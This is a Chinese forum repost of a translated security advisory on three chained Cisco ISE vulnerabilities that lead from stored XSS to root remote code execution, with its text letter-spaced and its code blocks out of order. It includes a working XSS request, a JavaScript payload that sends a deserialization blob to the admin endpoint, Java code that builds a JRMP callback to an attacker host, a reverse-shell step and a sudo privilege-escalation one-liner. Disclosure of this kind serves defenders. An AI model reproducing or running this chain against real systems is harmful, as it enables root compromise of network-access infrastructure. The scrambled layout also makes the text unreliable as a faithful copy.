搜索

[29057] 2021-07-08_【漏洞利用】思科身份服务引擎中的多个漏洞（以root身份从XSS到RCE）

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-07-08_【漏洞利用】思科身份服务引擎中的多个漏洞（以root身份从XSS到RCE） 【 漏 洞 利 用 】 思 科 身 份 服 务 引 擎 中 的 多 个 漏 洞 （ 以   r o o t   身 份 从   X S S   到   R C E ） O t s 安 全   2 0 2 1 - 0 7 - 0 8 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 作 者 ： P e d r o   R i b e i r o   (   p e d r i b @ g m a i l . c o m   |   @ p e d r i b 1 3 3 7   )   来 自 A g i l e   I n f o r m a t i o n   S e c u r i t y 和   D o m i n i k   C z a r n o t a   (   d o m i n i k . b . c z a r n o t a @ g m a i l . c o m   ) 产 品 信 息 产 品 信 息 从 供 应 商 的 网 站 ： 思 科 身 份 服 务 引 擎   ( I S E )   是 您 简 化 安 全 策 略 管 理 和 降 低 运 营 成 本 的 一 站 式 解 决 方 案 。 借 助   I S E ， 您 可 以 看 到 用 户 和 设 备 通 过 有 线 、 无 线 和   V P N   连 接 控 制 对 公 司 网 络 的 访 问 。 思 科   I S E   允 许 您 为 用 户 和 设 备 提 供 高 度 安 全 的 网 络 访 问 。 它 可 以 帮 助 您 了 解 网 络 中 正 在 发 生 的 事 情 ， 例 如 连 接 了 谁 、 安 装 和 运 行 了 哪 些 应 用 程 序 等 等 。 它 还 与 思 科 技 术 合 作 伙 伴 的 集 成 解 决 方 案 共 享 重 要 的 上 下 文 数 据 ， 例 如 用 户 和 设 备 身 份 、 威 胁 和 漏 洞 ， 因 此 您 可 以 更 快 地 识 别 、 遏 制 和 修 复 威 胁 。 ” 概 括 概 括 I S E   由 思 科 作 为 虚 拟 设 备 分 发 。 我 们 分 析 了   2 . 4 . 0 . 3 5 7   版 本 并 发 现 了 三 个 漏 洞 ： 未 经 身 份 验 证 的 存 储 跨 站 点 脚 本 、 经 过 身 份 验 证 的   J a v a   反 序 列 化 漏 洞 导 致 以 非 特 权 用 户 身 份 远 程 执 行 代 码 ， 以 及 从 非 特 权 用 户 到   r o o t   的 权 限 提 升 。 通 过 将 它 们 放 在 一 起 ， 我 们 可 以 以   r o o t   身 份 实 现 远 程 代 码 执 行 ， 前 提 是 我 们 可 以 说 服 管 理 员 访 问 易 受 存 储 的 跨 站 点 脚 本 攻 击 的   I S E   页 面 。 因 此 ， 当 与 网 络 钓 鱼 攻 击 相 结 合 时 ， 此 漏 洞 链 非 常 适 合 展 示 跨 站 点 脚 本 的 风 险 。 实 现 这 个 完 整 漏 洞 利 用 链 的   R u b y   漏 洞 利 用 （ 在 本 文 件 末 尾 的 端 到 端 漏 洞 利 用 中 有 更 详 细 的 描 述 ） 在 与 本 公 告 相 同 的 存 储 库 中 公 开 可 用 。 您 还 可 以 在   Y o u T u b e   上 观 看 该 漏 洞 利 用 的 视 频 。 h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = N Z m Z i d - 1 _ j U 本 公 告 中 的 所 有 漏 洞 均 由   A g i l e   I n f o r m a t i o n   S e c u r i t y   独 立 发 现 。 但 是 ， G r o u p e   T e c h n o l o g i e   D e s j a r d i n s   的   O l i v i e r   A r t e a u 也 发 现 了 漏 洞   # 2 （ 不 安 全 的   F l e x   A M F   J a v a   对 象 反 序 列 化 ） 并 将 其 报 告 给 思 科 ， 并 且 H e c t o r   C u e s t a 也 发 现 了 漏 洞 # 3 （ 通 过 不 正 确 的   s u d o   文 件 权 限 提 升 权 限 ） 并 报 告 给 思 科 . 虽 然 思 科 将 发 现 漏 洞   # 1   的 功 劳 归 功 于 敏 捷 信 息 安 全 ， 但 它 并 没 有 发 现 漏 洞   # 2   和   # 3 ， 并 且 还 拒 绝 为 这 两 个 漏 洞 提 供   C V E 。 它 还 说 关 于 # 3 ： “ 此 问 题 已 被 评 估 为 改 善 设 备 安 全 状 况 的 强 化 措 施 。 根 据 我 们 的 安 全 漏 洞 政 策 ， 我 们 要 求 不 要 为 严 重 影 响 等 级   ( S I R )   低 于 中 等 的 问 题 请 求   C V E   分 配 。 此 问 题 将 在 即 将 发 布 的   I S E   版 本 中 修 复 ” 。 截 至   2 0 1 9   年   5   月   2   日 ， 思 科 仍 建 议 将   2 . 4 . 0 . 3 5 7   版 （ 受 此 公 告 中 的 所 有 漏 洞 影 响 ） 作 为 其 软 件 下 载 页 面 中 的 “ 建 议 版 本 ” 。 这 些 行 为 表 明 ， 思 科 在 客 户 安 全 方 面 的 疏 忽 令 人 难 以 置 信 。 他 们 仍 在 发 布 （ 并 推 荐 ） 一 个 易 受 未 经 身 份 验 证 的 远 程 代 码 执 行 攻 击 的 产 品 版 本 ， 具 有 完 全 有 效 的 公 开 漏 洞 ， 并 且 无 法 跟 踪 这 些 漏 洞 的 修 复 或 修 复 版 本 。 A g i l e   I n f o r m a t i o n   S e c u r i t y   非 常 感 谢   B e y o n d   S e c u r i t y   的   S S D   安 全 披 露 计 划 帮 助 我 们 向 思 科 披 露 这 些 漏 洞 ， 并 在 他 们 的 网 站 上 发 布 公 告 。 该 公 告 最 后 更 新 于   2 0 2 1   年   6   月   3 0   日 （ 移 植 到   M a r k d o w n 、 完 善 的 漏 洞 利 用 和 视 频 链 接 ） 。 漏 洞 详 情 漏 洞 详 情 # 1 ： 存 储 的 跨 站 点 脚 本 C W E - 7 9 ： 跨 站 脚 本 C V E - 2 0 1 8 - 1 5 4 4 0 风 险 分 类 ： 高 攻 击 向 量 ： 远 程 约 束 ： 无 ； 可 被 未 经 身 份 验 证 的 攻 击 者 利 用 受 影 响 的 版 本 ： 在   I S E   虚 拟 设 备   v 2 . 4 . 0 . 3 5 7   上 确 认 该 L i v e L o g S e t t i n g s S e r v l e t ， 在 暴 露 给 未 经 授 权 的 用 户 / 管 理 员 /   L i v e L o g S e t t i n g s S e r v l e t ， 包 含 了 存 储 的 跨 站 点 脚 本 漏 洞 。 所 述 的 d o G e t （ ）   H T T P 请 求 处 理 程 序 需 要 在 一 个 行 动 参 数 作 为 H T T P 查 询 变 量 ， 其 可 以 是 “ 读 ” 或 “ 写 ” 。 使 用 “ w r i t e ” 参 数 ， 它 调 用 w r i t e L i v e L o g S e t t i n g s ( ) 函 数 ， 然 后 该 函 数 采 用 多 个 查 询 字 符 串 变 量 ， 例 如   C o l u m n s 、 R o w s 、 R e f r e s h _ r a t e   和   T i m e _ p e r i o d 。 然 后 将 这 些 查 询 字 符 串 变 量 的 内 容 写 入 / o p t / C S C O c p m / m n t / d a s h b o a r d / l i v e A u t h P r o p s . t x t ， 服 务 器 以   H T T P   2 0 0   O K   响 应 。 这 些 参 数 未 经 验 证 ， 可 以 包 含 任 何 文 本 。
当 A c t i o n 参 数 等 于   " r e a d "   时 ， s e r v l e t   将 读 取 / o p t / C S C O c p m / m n t / d a s h b o a r d / l i v e A u t h P r o p s . t x t 文 件 并 将 其 显 示 给 用 户 ， 内 容 类 型 为 " t e x t / h t m l " ， 导 致 写 入 的 内 容 该 文 件 将 由 浏 览 器 呈 现 和 执 行 。 要 发 起 简 单 的 攻 击 ， 我 们 可 以 发 送 以 下 请 求 ： G E T   / a d m i n / L i v e L o g S e t t i n g s S e r v l e t ? A c t i o n = w r i t e & C o l u m n s = 1 & R o w s = % 3 c % 7 3 % 6 3 % 7 2 % 6 9 % 7 0 % 7 4 % 3 e % 6 1 % 6 c % 6 5 % 7 2 % 7 4 % 2 8 % 3 1 % 2 9 % 3 c % 2 f % 7 3 % 6 3 % 7 2 % 6 9 % 7 0 % 7 4 % 3 e & R e f r e s h _ r a t e = 1 3 3 7 & T i m e _ p e r i o d = 1 3 3 7 然 后 可 以 通 过 以 下 方 式 触 发 ： 这 将 导 致 浏 览 器 中 弹 出 一 个 警 告 框 ， 这 意 味 着 在 浏 览 器 中 执 行 了   J a v a s c r i p t   代 码 。 未 经 身 份 验 证 的 攻 击 者 可 以 利 用 此 漏 洞 。 # 2 ： 不 安 全 的 ： 不 安 全 的   F l e x   A M F   J a v a   对 象 反 序 列 化 对 象 反 序 列 化 C W E - 5 0 2 ： 不 可 信 数 据 的 反 序 列 化 C V E - 2 0 1 7 - 5 6 4 1 风 险 分 类 ： 严 重 攻 击 向 量 ： 远 程 约 束 ： 需 要 对 管 理   W e b   界 面 进 行 身 份 验 证 受 影 响 的 版 本 ： 在   I S E   虚 拟 设 备   v 2 . 4 . 0 . 3 5 7   上 确 认 通 过 向 / a d m i n / m e s s a g e b r o k e r / a m f s e c u r e 发 送 带 有 随 机 数 据 的   H T T P   P O S T   请 求 ， 服 务 器 将 响 应   2 0 0   O K   和 二 进 制 数 据 ， 其 中 包 括 ： 这 表 明 服 务 器 在 该 位 置 有 一 个   A p a c h e   /   A d o b e   F l e x   A M F   ( B l a z e D S )   端 点 。 服 务 器 上 运 行 的   B l a z e D S   库 版 本 为   4 . 0 . 0 . 1 4 9 3 1 ， 这 意 味 着 它 容 易 受 到   C V E - 2 0 1 7 - 5 6 4 1   的 攻 击 ， 其 描 述 如 下 ： “ A p a c h e   F l e x   B l a z e D S   的 早 期 版 本 （ 4 . 7 . 2   及 更 早 版 本 ） 没 有 限 制 默 认 情 况 下 允 许   A M F ( X )   对 象 反 序 列 化 的 类 型 。 在 反 序 列 化 过 程 中 执 行 的 代 码 对 于 几 种 已 知 类 型 具 有 不 希 望 的 副 作 用 。 其 他 ” ， 未 知 类 型 也 可 能 表 现 出 此 类 行 为 。 J a v a   标 准 库 中 存 在 一 个 向 量 ， 它 允 许 攻 击 者 触 发 可 能 进 一 步 可 利 用 的   J a v a   反 序 列 化 不 可 信 数 据 。 第 三 方 库 中 的 其 他 已 知 向 量 可 用 于 触 发 远 程 代 码 执 行 。 ” 该 漏 洞 之 前 曾 被 A g i l e   I n f o r m a t i o n   S e c u r i t y 在 D r a y T e k   V i g o r A C S   中 利 用 过 。 有 关 此 漏 洞 的 更 多 详 细 信 息 ， 请 参 阅 该 公 告 和 漏 洞 利 用 以 及 这 些   其 他   资 源 。 我 们 能 够 重 新 使 用 V i g o r A C S   公 告 中 的 一 些 漏 洞 利 用 代 码 来 创 建 二 进 制   A M F   负 载 ， 该 负 载 将 作 为   i s e a d m i n p o r t a l   用 户 在 服 务 器 上 执 行 。 漏 洞 利 用 链 的 工 作 方 式 相 同 ： 漏 洞 利 用 链 的 工 作 方 式 相 同 ： 1 .   将   A M F   二 进 制 有 效 负 载 发 送 到 / a d m i n / m e s s a g e b r o k e r / a m f s e c u r e   ， 如 此 处 所 述 ， 以 触 发   J a v a   远 程 方 法 协 议   ( J R M P )   回 调 给 攻 击 者 2 .   使 用 y s o s e r i a l   的   J R M P   侦 听 器 接 收   J R M P   连 接 3 .   使 用   R O M E   负 载 调 用   y s o s e r i a l ， 因 为   R o m e   ( 1 . 0   R C 2 )   的 易 受 攻 击 版 本 位 于 服 务 器 的   J a v a   类 路 径 中 4 .   执 行   n c a t （ 二 进 制 文 件 在   I S E   虚 拟 设 备 上 ） 并 返 回 以   i s e a m i n p o r t a l   用 户 身 份 运 行 的 反 向   s h e l l 强 烈 建 议 阅 读 C o d e   W h i t e 的   M a r k u s   W u l f t a n g e 的 建 议 ， 以 便 更 好 地 了 解 此 漏 洞 。 此 漏 洞 只 能 由 有 权 访 问 管 理 门 户 的 经 过 身 份 验 证 的 攻 击 者 利 用 。 # 3 ： 通 过 不 正 确 的 ： 通 过 不 正 确 的   s u d o   和 文 件 权 限 提 升 权 限 和 文 件 权 限 提 升 权 限 1 .   C W E - 2 6 8 ： 权 限 链 接 2 .   未 分 配   C V E ； 跟 踪 为   S S D - 3 7 7 8 3 .   风 险 分 类 ： 高 4 .   攻 击 向 量 ： 本 地 5 .   约 束 ： 需 要 以   i s e a d m i n p o r t a l   用 户 身 份 运 行 的 命 令 外 壳 6 .   受 影 响 的 版 本 ： 在   I S E   虚 拟 设 备   v 2 . 4 . 0 . 3 5 7   上 确 认 i s e a d m i n p o r t a l   用 户 可 以 通 过   s u d o （ ' s u d o   - l '   的 输 出 ） 以   r o o t   身 份 运 行 各 种 命 令 ： G E T   / a d m i n / L i v e L o g S e t t i n g s S e r v l e t ? A c t i o n = r e a d   H T T P / 1 . 1 H T T P / 1 . 1   2 0 0   O K C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   1 6 4 S e r v e r :     < S e t t i n g s > < C o l u m n s > < C o l > 1 < / C o l > < / C o l u m n s > < R o w s > < s c r i p t > a l e r t ( 1 ) < / s c r i p t > < / R o w s > < R e f r e s h _ r a t e > 1 3 3 7 < / R e f r e s h _ r a t e > < T i m e _ p e r i o d > 1 3 3 7 < / T i m e _ p e r i o d > < / S e t t i n g s >   . . . U n s u p p o r t e d   A M F   v e r s i o n   X X X X X . . .         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / r e s e t M n t D b . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / r e s e t M n T S e s s D i r . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s e t d b p w . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s y n c _ e x p o r t . s h   *
但 是 ， 上 面 的 所 有 文 件 都 可 以 由   i s e a d m i n p o r t a l   用 户 写 入 。 这 使 得 执 行 权 限 提 升 到   r o o t   变 得 微 不 足 道 。 所 需 要 做 的 就 是 编 辑 文 件 ， 并 在 第 二 行 和 / 或 最 后 一 行 添 加 “ / b i n / s h ” ， 然 后 以   s u d o   身 份 运 行 脚 本 以 获 取   r o o t   s h e l l 。 端 到 端 漏 洞 利 用 端 到 端 漏 洞 利 用 到 现 在 为 止 ， 您 应 该 对 如 何 构 建 完 整 的 漏 洞 利 用 链 有 了 一 个 不 错 的 了 解 。 由 于 漏 洞   # 2   ( A M F   R C E )   只 能 由 经 过 身 份 验 证 的 管 理 员 利 用 ， 我 们 可 以 使 用 漏 洞   # 1 （ 存 储 的   X S S ） 作 为 未 经 身 份 验 证 的 攻 击 者 设 置 陷 阱 。 攻 击 顺 序 如 下 ： 1 .   通 过 滥 用 存 储 的 跨 站 点 脚 本 （ 漏 洞   # 1 ） ， 我 们 可 以 创 建 一 个 恶 意 的   J a v a s c r i p t （ 有 效 负 载 如 下 ） ， 将 存 储 在 / a d m i n / L i v e L o g S e t t i n g s S e r v l e t   中 2 .   如 果 登 录 用 户 访 问 该 页 面 ， 则   J a v a s c r i p t   负 载 将 使 用 以 下   A M F   J a v a   代 码 创 建 的 负 载 向 / a d m i n / m e s s a g e b r o k e r / a m f s e c u r e 发 送 X M L H t t p R e q u e s t （ 漏 洞   # 2 ） ， 从 而 以   i s e a d m i n p o r t a l   用 户 身 份 实 现 远 程 代 码 执 行 3 .   漏 洞 利 用 代 码 将 返 回 一 个 反 向 s h e l l ， 然 后 我 们 可 以 使 用 不 正 确 的 文 件 权 限 （ 漏 洞 # 3 ） 将 我 们 的 权 限 提 升 为 r o o t ： 此 p y t h o n 代 码 将 在 / o p t / C S C O c p m / b i n / f i l e - i n f o . s h 的 末 尾 添 加 一 个 “ i f ” 子 句 ， 用 于 查 找 “ 1 3 3 7 ” 参 数 ， 并 在 看 到 它 时 以 r o o t 身 份 执 行 / b i n / b a s h 。 这 样 我 们 就 不 会 弄 乱 任 何 可 能 使 用 该 文 件 的 重 要 系 统 功 能 ， 并 且 我 们 将 获 得 完 整 的   r o o t s h e l l 。 用   R u b y   编 写 的 完 整 漏 洞 利 用 程 序 可 在 此 处 获 得 。 J a v a s c r i p t   有 效 载 荷 ：         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s y n c _ i m p o r t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p a r t i a l _ s y n c _ e x p o r t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p a r t i a l _ s y n c _ i m p o r t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p a r t i a l _ s y n c _ c l e a n u p . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / t t c o n t r o l . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / u p d a t e w a l l e t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / l o g - l i s t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / f i l e - i n f o . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / d e l e t e - l o g - f i l e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / d e b u g - l o g - c o n f i g . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s h o w i n v . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / i s e b a c k u p c a n c e l . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / n s s u t i l s . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / k i l l s u b n e t s c a n . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / t h i r d p a r t y g u e s t v l a n . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / i s e - 3 r d p t y - g u e s t v l a n . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / m n t / b i n / C h e c k D i s k S p a c e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / g e n b a c k u p . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / c r e a t e H C T O n P A P S c r i p t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / b a c k u p H o s t C o n f i g T a b l e s O n P A P . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / d i c t i o n a r y _ a t t r i b u t e _ u p d a t e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / d e l e t e g u e s t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / i s e u p g r a d e - d b e x p o r t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p x g r i d _ b a c k u p . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p x g r i d _ r e s t o r e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p x g r i d _ s y n c . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p b i s _ m o n i t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / p r r t / b i n / F I P S _ l o c k d o w n . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / i s e u p g r a d e u i . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s h o w _ i o w a i t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / k e r b e r o s p r o b e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s x p - s e r v e r c o n t r o l . s h   * p y t h o n   - c   ' i m p o r t   o s ; f = o p e n ( " / o p t / C S C O c p m / b i n / f i l e - i n f o . s h " ,   " a + " ,   0 ) ; f . w r i t e ( " i f   [   " $ 1 "   = =   1 3 3 7   ] ; t h e n n / b i n / b a s h n f i n " ) ; f . c l o s e ( ) ; o s . s y s t e m ( " s u d o   / o p t / C S C O c p m / b i n / f i l e - i n f o . s h   1 3 3 7 " ) ' < s c r i p t > f u n c t i o n   b 6 4 t o B l o b ( b 6 4 D a t a ,   c o n t e n t T y p e ,   s l i c e S i z e )   {     c o n t e n t T y p e   =   c o n t e n t T y p e   | |   ' ' ;     s l i c e S i z e   =   s l i c e S i z e   | |   5 1 2 ; v a r   b y t e C h a r a c t e r s   =   a t o b ( b 6 4 D a t a ) ; v a r   b y t e A r r a y s   =   [ ] ; f o r   ( v a r   o f f s e t   =   0 ;   o f f s e t   <   b y t e C h a r a c t e r s . l e n g t h ;   o f f s e t   + =   s l i c e S i z e )   { v a r   s l i c e   =   b y t e C h a r a c t e r s . s l i c e ( o f f s e t ,   o f f s e t   +   s l i c e S i z e ) ; v a r   b y t e N u m b e r s   =   n e w   A r r a y ( s l i c e . l e n g t h ) ; f o r   ( v a r   i   =   0 ;   i   <   s l i c e . l e n g t h ;   i + + )   {             b y t e N u m b e r s [ i ]   =   s l i c e . c h a r C o d e A t ( i ) ;         } v a r   b y t e A r r a y   =   n e w   U i n t 8 A r r a y ( b y t e N u m b e r s ) ;
A M F   J a v a   代 码 （ 此 处 作 为   M a v e n   项 目 提 供 ） ： 修 复 修 复 / 解 决 方 案 ： 解 决 方 案 ： C i s c o   声 称 漏 洞   # 1   已 在   2 . 2 . 0 . 9 1 3   版 本 中 修 复 。 不 知 道 它 是 否 在   2 . 4 . x   版 本 中 修 复 。 C i s c o   声 称 漏 洞   # 2   已 在   2 . 4 . 0 . 9 0 5   版 本 中 修 复 。 通 过 思 科 自 己 也 承 认 ， 漏 洞 ＃ 3 是 不 固 定 为 2 0 1 9 年 5 月 2 日 。 v a r   b y t e A r r a y   =   n e w   U i n t 8 A r r a y ( b y t e N u m b e r s ) ;         b y t e A r r a y s . p u s h ( b y t e A r r a y ) ;     } v a r   b l o b   =   n e w   B l o b ( b y t e A r r a y s ,   { t y p e :   c o n t e n t T y p e } ) ; r e t u r n   b l o b ; } b 6 4 _ p a y l o a d   =   ' c G l z c 2 F u Z X N z Z W N 1 ' ; v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ; x h r . o p e n ( " P O S T " ,   ' h t t p s : / / 1 0 . 1 0 . 1 0 . 4 4 / a d m i n / m e s s a g e b r o k e r / a m f s e c u r e ' ,   t r u e ) ; x h r . s e n d ( b 6 4 t o B l o b ( b 6 4 _ p a y l o a d ,   ' a p p l i c a t i o n / x - a m f ' ) ) ;   < / s c r i p t > p a c k a g e   u k . c o . a g i l e i n f o s e c . a c s f l e x ; i m p o r t   f l e x . m e s s a g i n g . i o . a m f . M e s s a g e B o d y ; i m p o r t   f l e x . m e s s a g i n g . i o . a m f . A c t i o n M e s s a g e ; i m p o r t   f l e x . m e s s a g i n g . i o . S e r i a l i z a t i o n C o n t e x t ; i m p o r t   f l e x . m e s s a g i n g . i o . a m f . A m f M e s s a g e S e r i a l i z e r ; i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   A C S F l e x   { p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 O b j e c t   u n i c a s t R e f   =   g e n e r a t e U n i c a s t R e f ( a r g s [ 0 ] ,   I n t e g e r . p a r s e I n t ( a r g s [ 1 ] ) ) ; / /   s e r i a l i z e   o b j e c t   t o   A M F   m e s s a g e t r y   { b y t e [ ]   a m f   =   n e w   b y t e [ 0 ] ;                         a m f   =   s e r i a l i z e ( ( u n i c a s t R e f ) ) ;                         D a t a O u t p u t S t r e a m   o s   =   n e w   D a t a O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( a r g s [ 2 ] ) ) ;                         o s . w r i t e ( a m f ) ;                         S y s t e m . o u t . p r i n t l n ( " D o n e ,   p a y l o a d   w r i t t e n   t o   "   +   a r g s [ 2 ] ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } p u b l i c   s t a t i c   O b j e c t   g e n e r a t e U n i c a s t R e f ( S t r i n g   h o s t ,   i n t   p o r t )   {                 j a v a . r m i . s e r v e r . O b j I D   o b j I d   =   n e w   j a v a . r m i . s e r v e r . O b j I D ( ) ;                 s u n . r m i . t r a n s p o r t . t c p . T C P E n d p o i n t   e n d p o i n t   =   n e w   s u n . r m i . t r a n s p o r t . t c p . T C P E n d p o i n t ( h o s t ,   p o r t ) ;                 s u n . r m i . t r a n s p o r t . L i v e R e f   l i v e R e f   =   n e w   s u n . r m i . t r a n s p o r t . L i v e R e f ( o b j I d ,   e n d p o i n t ,   f a l s e ) ; r e t u r n   n e w   s u n . r m i . s e r v e r . U n i c a s t R e f ( l i v e R e f ) ;         } p u b l i c   s t a t i c   b y t e [ ]   s e r i a l i z e ( O b j e c t   d a t a )   t h r o w s   I O E x c e p t i o n   {                 M e s s a g e B o d y   b o d y   =   n e w   M e s s a g e B o d y ( ) ;                 b o d y . s e t D a t a ( d a t a ) ;                 A c t i o n M e s s a g e   m e s s a g e   =   n e w   A c t i o n M e s s a g e ( ) ;                 m e s s a g e . a d d B o d y ( b o d y ) ;                 B y t e A r r a y O u t p u t S t r e a m   o u t   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;                 A m f M e s s a g e S e r i a l i z e r   s e r i a l i z e r   =   n e w   A m f M e s s a g e S e r i a l i z e r ( ) ;                 s e r i a l i z e r . i n i t i a l i z e ( S e r i a l i z a t i o n C o n t e x t . g e t S e r i a l i z a t i o n C o n t e x t ( ) ,   o u t ,   n u l l ) ;                 s e r i a l i z e r . w r i t e M e s s a g e ( m e s s a g e ) ; r e t u r n   o u t . t o B y t e A r r a y ( ) ;         } }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理